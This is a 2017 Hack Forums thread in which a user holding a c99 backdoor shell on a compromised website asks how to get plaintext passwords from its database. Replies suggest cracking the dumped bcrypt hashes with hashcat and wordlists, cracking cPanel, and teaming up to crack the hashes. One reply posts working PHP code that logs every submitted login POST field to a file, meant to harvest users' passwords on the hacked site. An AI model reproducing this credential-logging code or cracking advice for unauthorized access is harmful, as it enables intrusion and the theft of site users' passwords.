+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Dumping Database using backdoor Shell (/showthread.php?tid=5751855)
Dumping Database using backdoor Shell - allanburgs - Nov 12, 2017
Hello , I just want to ask if theres another way to dump sql database passwords plaintext using backdoor shell.
my problem is ,when im dumping passwords from database it only shows the hash paswords ,.. and its very difficult to decrypt , is there other way to dump the passwords in plaintext using a c99 shell.
here is a sample passwords.
$2y$10$PoLDZ8ACLIoYUHMkXsSkl.JLYszr6bcvwHZX7.0OuguHLCSb3yGsq
RE: Dumping Database using backdoor Shell - Berry White - Nov 12, 2017
(Nov 12, 2017 05:14 PM)allanburgs Wrote: Hello , I just want to ask if theres another way to dump sql database passwords plaintext using backdoor shell.
my problem is ,when im dumping passwords from database it only shows the hash paswords ,.. and its very difficult to decrypt , is there other way to dump the passwords in plaintext using a c99 shell.
here is a sample passwords.
$2y$10$PoLDZ8ACLIoYUHMkXsSkl.JLYszr6bcvwHZX7.0OuguHLCSb3yGsq
Hahah ! I am affraid that its not possible.
The whole idea of encryption is to prevent that. So in the database, you can only find encrypted password(of course if encryption is used), nothing else. Sorry.
RE: Dumping Database using backdoor Shell - allanburgs - Nov 12, 2017
do u have idea how to crack that type of pass ,sir
RE: Dumping Database using backdoor Shell - Berry White - Nov 13, 2017
(Nov 12, 2017 11:09 PM)allanburgs Wrote: do u have idea how to crack that type of pass ,sir
Hashcat is for sure the best tool for that. It can be GPU based, and CPU based, but GPU based is usually best as said here:
https://hashcat.net/forum/thread-6336.html
And to find type of hash, you can use this website:
https://www.onlinehashcrack.com/hash-identification.php
As you see your hash is bcrypt, Blowfish(OpenBSD)
Oh and i forgot to say, you will need wordlist. You can find it on internet or build your own. Good luck with decrypting that hashes.
Hope i helped.
RE: Dumping Database using backdoor Shell - allanburgs - Nov 13, 2017
thanks men , I guess cracking the cpanel is another option to get access to database without wasting time decrypting those hashes ^_^
RE: Dumping Database using backdoor Shell - rtist - Nov 14, 2017
Rainbow tables are your friend. Get hashing.
or dump the hashes for us.
RE: Dumping Database using backdoor Shell - SIM-1073426 - Nov 15, 2017
(Nov 12, 2017 05:14 PM)allanburgs Wrote: Hello , I just want to ask if theres another way to dump sql database passwords plaintext using backdoor shell.
my problem is ,when im dumping passwords from database it only shows the hash paswords ,.. and its very difficult to decrypt , is there other way to dump the passwords in plaintext using a c99 shell.
here is a sample passwords.
$2y$10$PoLDZ8ACLIoYUHMkXsSkl.JLYszr6bcvwHZX7.0OuguHLCSb3yGsq
That's Blowfish, good luck with that.
(Nov 12, 2017 08:21 PM)Berry White Wrote: Hahah ! I am affraid that its not possible.
The whole idea of encryption is to prevent that. So in the database, you can only find encrypted password(of course if encryption is used), nothing else. Sorry.
Trying to get the cleartext value from the hash isn't the only option to get the password, you can still log the POST requests in the login page. You won't get all users passwords but you'll get the ones that login while you're logging the requests.
(Nov 14, 2017 10:25 AM)rtist Wrote: Rainbow tables are your friend. Get hashing.
or dump the hashes for us.
Rainbow tables doesn't work against Blowfish.
RE: Dumping Database using backdoor Shell - Berry White - Nov 15, 2017
Quote:Trying to get the cleartext value from the hash isn't the only option to get the password, you can still log the POST requests in the login page. You won't get all users passwords but you'll get the ones that login while you're logging the requests.
Sorry but i dont understand what you mean?
RE: Dumping Database using backdoor Shell - Teferi - Nov 16, 2017
(Nov 15, 2017 09:56 PM)Berry White Wrote: Sorry but i dont understand what you mean?
Log all the user input:
PHP Code
<?php
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>RE: Dumping Database using backdoor Shell - urbizupi - Nov 16, 2017
(Nov 12, 2017 05:14 PM)allanburgs Wrote: Hello , I just want to ask if theres another way to dump sql database passwords plaintext using backdoor shell.
my problem is ,when im dumping passwords from database it only shows the hash paswords ,.. and its very difficult to decrypt , is there other way to dump the passwords in plaintext using a c99 shell.
here is a sample passwords.
$2y$10$PoLDZ8ACLIoYUHMkXsSkl.JLYszr6bcvwHZX7.0OuguHLCSb3yGsq
Hi if u wanna team up I can help u crack most of the passwords with hashcat like Berry White said.
Reply if u wanna team up.
Greetings, urbizupi
RE: Dumping Database using backdoor Shell - Berry White - Nov 16, 2017
(Nov 16, 2017 08:10 AM)K0eN Wrote: Log all the user input:
PHP Code
<?php
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Oohh, i understand now, thanks mate.